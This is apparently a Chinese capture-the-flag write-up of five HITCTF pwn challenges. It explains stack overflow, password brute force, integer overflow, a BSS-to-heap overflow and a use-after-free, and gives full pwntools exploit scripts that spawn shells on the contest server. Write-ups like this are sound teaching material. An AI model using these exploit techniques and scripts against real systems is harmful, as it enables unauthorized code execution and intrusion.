HITCTF是哈尔滨工业大学组织的一场校赛,在假期时间看了一下题目,锻炼一下,以此记录。
本次比赛共有五道PWN题:
stackoverflow (栈溢出)
login(爆破)
DragonBall(整数溢出)
nodes(溢出BSS段,影响程序逻辑)
babynote(UAF)
stackoverflow 此题目是PWN题的签到题,函数逻辑简单,在主函数调用的vuln函数中存在明显的栈溢出漏洞
可以溢出覆盖0x18个字节,并且没有开启canary保护, 可以利用ROP技术控制执行流
如程序中存在一个flag函数,可以直接获取flag
exp.py脚本如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import *debug =0 elf = ELF('./stackoverflow' ) if debug: p = process('./stackoverflow' ) context.log_level = 'debug' else : p = remote('111.230.132.82' ,40000 ) context.log_level = 'debug' p.recvuntil('Welcome to pwn world!\nLeave your name:' ) p.send('a' *0x28 +p32(0xdeadbeef )+p32(0x80485df )+p32(0xdeadbeef )+p32(0xdeadbeef )+p32(0xc0ffee )) p.interactive()
login 此题的整体代码逻辑很清晰,首先登录一次,然后再过一次check,就可以直接得到flag
对比两个用户名密码的check函数可以发现其中的不同:
很明显发现其不同点在于strncmp的参数上,第一个函数参数长度是用户输入的长度,第二次是固定的长度。此时可以发现两个hint。
password的长度是0x20(抖机灵)
由于password是固定的,因此可以通过爆破的方法来验证,每次爆破一位不断叠加,即可得到其真实密码。
爆破的脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import *''' 10_adhUNwj_qidACn_qdXon912_uhdq6 ''' debug = 0 if debug: p = process('./login' ) context.log_level = 'debug' else : p = remote('111.230.132.82' , 40001 ) password = '' dic = range(33 ,127 ) def login (j) : global password print 'password' + chr(j) if debug: p = process('./login' ) context.log_level = 'debug' else : p = remote('111.230.132.82' , 40001 ) p.recvuntil('Username:' ) p.sendline('root' ) p.recvuntil('Password: ' ) p.sendline(password+chr(j)) a = p.recvline() print a if 'successful' in a: p.close() return chr(j) else : p.close() return '00' def boom () : global password for i in range(0 ,0x20 ): pro = log.progress('go' ) for j in dic: pro.status('boom for ' +chr(j)) tmp = login(j) if tmp!='00' : password = password + tmp pro.success(': is ' +password) print 'password is ' ,password break password = '' boom() p.interactive()
DragonBall 程序大意是 手中共有15个金币, 购买一个龙珠需要5金币,出售一个龙珠3金币,当集齐7颗龙珠以后就能实现愿望了(wish())。
漏洞利用 wish()函数中有明显的溢出漏洞,但是很不充分,溢出仅能覆盖返回地址和EBP,如果单纯写rop很难,除非有很好的跳板,但是并没有发现jmp xxx的跳板,一度陷入僵局…
突然想起查了一下保护开启情况,发现没有开NX保护,也就是说可以执行shellcode…
就是说可以在第一块内写入execve(‘/bin/sh’)的shellcode,然后覆盖返回地址去执行,仅需知道该处的地址即可,需要泄露栈地址,此处可以从第一处写入部分去泄露,泄露wish()的ebp地址,即可得到shellcode起始位置的地址了。
整数溢出 漏洞在于buy()中,仅检测是否money!=0的情况,也就是说构造一个money不为5的倍数即可无限制购买,很显然可以先买一个再卖出,就剩余13个金币,无论如何都不可能为0,因此可以无限制购买龙珠,最后达成愿望。
最终,利用脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 from pwn import *debug = 0 elf = ELF('./DragonBall' ) if debug: p = process('./DragonBall' ) context.log_level = 'debug' else : p = remote('111.230.132.82' , 40002 ) context.log_level = 'debug' p.recvuntil('You choice: ' ) p.sendline('1' ) p.recvuntil('You choice: ' ) p.sendline('2' ) for i in range(7 ): p.recvuntil('You choice: ' ) p.sendline('1' ) p.recvuntil('You choice: ' ) p.sendline('4' ) p.recvuntil('Tell me your wish: ' ) payload = asm(shellcraft.sh()) payload = payload.ljust(0x66 ,'a' ) p.sendline(payload+'b' ) p.recvuntil('ab' ) stack_leak = u32(p.recv(5 )[1 :]) print 'stack_leak : ' ,hex(stack_leak)offset = 0xffa7cc48 -0xffa7cbc0 payload_addr = stack_leak - offset print 'shellcode : ' ,hex(payload_addr)p.recvuntil('is it right?\n(Y/N) ' ) p.sendline('a' *0x38 +p32(stack_leak)+p32(payload_addr)) p.interactive()
notes 程序的大概内容是程序维护这一个链表,链表各块使用malloc分配,大小为0x38(56)个字节,最开始四字节是一个unsigned int,命名为value,相当于一个索引,之后的48个字节为data,最后四字节为下一个块的地址。
程序利用value值遍历这个链表,找到这个链表的第一个value相同的项进行修改。
在这期间没有任何溢出问题。
漏洞位置 漏洞出现的原因有2点
程序利用bss段上的某一个值对data长度进行限定,初始值为48
程序输出是先用sprintf函数拷贝到bss段上某一个位置,在用puts进行打印,而由于该缓存字符串的长度限定有问题,在建立了100个字节以上的节点时,会出现溢出现象,而溢出的点恰好为1中提到的data长度,将其覆盖成为字符’s’,也就是115,进一步造成了堆溢出。
漏洞利用 漏洞利用思路是首先构造100个节点,造成堆溢出,此时可以的输入可以覆盖到下一块的地址部分,也就是说可以劫持链表,利用程序功能造成内存任意读写。
首先将某数据库的下一块地址覆盖为puts@got地址,这样利用打印功能可以泄露libc的puts函数地址。
再对该块进行写操作,利用的索引即是泄露的puts地址,因为该块已经在链表中了,将该块地址覆写为一个one_gadget地址,最终利用puts函数的调用触发,即劫持got表。
利用脚本如下:(io貌似还有点问题没有解决)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from pwn import *import timedebug = 0 elf = ELF('./nodes' ) if debug: p = process('./nodes' ) libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) context.log_level = 'debug' else : p = remote('111.230.132.82' , 40003 ) context.log_level = 'debug' libc = ELF('./libc.so.6' ) def add (value,data) : p.recvuntil('please input your choice:' ) p.sendline('1' ) p.recvuntil('Value:' ) p.send(str(value)+'\0' ) p.recvuntil('Data:' ) p.sendline('' ) p.recvuntil('nodes\n' ) for i in range(1 ,103 ): add(i,'a' ) p.recvuntil('please input your choice:' ) p.sendline('3' ) p.recvuntil('please input your choice:' ) p.sendline('2\0' ) p.recvuntil('Node\'s value:' ) p.sendline('101' ) p.recvuntil('New value:' ) p.sendline('101' ) p.recvuntil('New data:' ) p.sendline('a' *48 +p32(elf.got['puts' ])) p.recvuntil('please input your choice:' ) p.sendline('3' ) p.recvuntil('Value:101\n' ) p.recvline() p.recvline() a = p.recvline() puts_addr = int(a[6 :-1 ],10 ) libc.address = puts_addr - libc.symbols['puts' ] print '[+]puts addr:' ,hex(puts_addr)p.recvuntil('please input your choice:' ) p.sendline('2' ) p.recvuntil('Node\'s value:' ) p.sendline(a[6 :-1 ]) p.recvuntil('New value:' ) p.sendline(str(libc.address+0x3ac5c )) p.recvuntil('New data:' ) p.sendline('' ) p.recvuntil('choice:' ) p.sendline('4' ) p.interactive() ''' 0x3ac5c execve("/bin/sh", esp+0x28, environ) constraints: esi is the GOT address of libc [esp+0x28] == NULL 0x3ac5e execve("/bin/sh", esp+0x2c, environ) constraints: esi is the GOT address of libc [esp+0x2c] == NULL 0x3ac62 execve("/bin/sh", esp+0x30, environ) constraints: esi is the GOT address of libc [esp+0x30] == NULL 0x3ac69 execve("/bin/sh", esp+0x34, environ) constraints: esi is the GOT address of libc [esp+0x34] == NULL 0x5fbc5 execl("/bin/sh", eax) constraints: esi is the GOT address of libc eax == NULL 0x5fbc6 execl("/bin/sh", [esp]) constraints: esi is the GOT address of libc [esp] == NULL '''
babynote 一道比较典型的UAF漏洞。
逻辑分析 程序逻辑是一个可以任意输入的note,每一个note分为了两部分:block和content
block的结构为:
1 2 3 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | size(int) | content address | function ptr | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
content的大小为size值
add函数中详细的为每一个变量赋值,尤其是function ptr,初始值为某自实现的puts函数
print函数中显示了调用function ptr函数的参数和方法,可以想到如果可以劫持function ptr就可以执行任意命令
在程序中要求最多可以生成3个note,分别存储在bss段上的一个数组内
利用思路 显然,由于在edit的时候并没有检查堆块是否已经被释放,因此,存在明显的UAF(Use After Free)漏洞。
而且删除堆块时程序的释放顺序是先释放content,再释放block,由于fastbin的LIFO性质,可以明显知道
1 2 3 add(0xc,'p4nda') delete(0) add(0xc,'p4nda')
使用的堆块是不变的,因此想要用分配得到的content控制一个note的block,进而控制function ptr的方法必须让堆块分配不平衡。
比如
1 2 3 4 5 add(0x100,'p4nda') add(0xc,'p4nda') delete(1) delete(0) add(0xc,payload)
这样分配,可以导致第0个note的block分配给第2个note的block,而第1个note的block会分配给第二个note作为content,是可以编辑的,进一步可以劫持控制流。
地址泄露 此题开启了PIE保护,不可以使用题目文件中的固定地址了。同时需要利用获取system地址,来得到shell,因此泄露一个libc地址是很必要的。
这时存在一个堆块分配与释放的机制问题,堆块在libc的内存管理中主要分fastbin、unsorted bin、 small bin、large bin、top、mmap来管理,其中fastbin管理的是较小堆块,当内存小于global_max_fast值时,在内存释放时会挂载到fastbin中,而稍大一些的small bin、large bin在释放时,当不与top头相邻,会先挂载到unsorted bin中去。
而如何寻找到各个bin的地址?libc在bss段上设置了一个结构体变量叫 main_arena,变量的各个成员就是每个bin的开头,如图
在libc符号表中,没有mainarena的符号,但该地址与\ _mallochook很近,通常利用 \ _mall_hook来定位main_arena
在各个bin链表中,不同的链表有不同的组织方式,如fastbin是单链表,unsorted bin、small bin是双链表,largebin更为复杂。因此,常用的地址泄露的方式是从unsorted bin泄露,当可以任意读取unsorted bin数据时,堆块的fd位置即为main_arena中unsorted bin地址。
如在此题中就可以用这种方式泄露
劫持控制流 1 2 3 4 5 add(0x100,'p4nda') add(0xc,'p4nda') delete(1) delete(0) add(0xc,payload)
当按上述方法控制了第1块的block时,修改payload即可完成对控制流的劫持,如利用泄露的libc地址获取system()地址,将其覆盖到function ptr时,在将size覆盖成 sh\x00\x00,利用print(1)进行触发即可获得一个shell
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| 'sh\0\0' | anything | system address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
利用脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *debug = 0 elf = ELF('./babynote' ) if debug: p = process('./babynote' ) libc = ELF('/lib/i386-linux-gnu/libc.so.6' ) context.log_level = 'debug' else : p = remote('111.230.132.82' , 40004 ) context.log_level = 'debug' libc = ELF('./libc.so.6' ) def add (size,content) : p.recvuntil('Your choice :' ) p.sendline('1' ) p.recvuntil('size:' ) p.sendline(str(size)) p.recvuntil('content:' ) p.send(content) def edit (index,content) : p.recvuntil('Your choice :' ) p.sendline('2' ) p.recvuntil('index:' ) p.sendline(str(index)) p.recvuntil('content' ) p.send(content) def print_note (index) : p.recvuntil('Your choice :' ) p.sendline('3' ) p.recvuntil('index:' ) p.sendline(str(index)) def delete (index) : p.recvuntil('Your choice :' ) p.sendline('4' ) p.recvuntil('index:' ) p.sendline(str(index)) add(0x100 ,'p4nda' ) add(0xc ,'p4nda' ) delete(1 ) delete(0 ) print_note(0 ) libc_leak_addr = u32(p.recv(4 )) libc.address = libc_leak_addr - libc.symbols['__malloc_hook' ]-48 -0x18 print '[+] system :' ,hex(libc.symbols['system' ])add(0xc ,'sh\0\0' +p32(next(libc.search('/bin/sh' )))+p32(libc.symbols['system' ])) print_note(1 ) p.interactive()
题目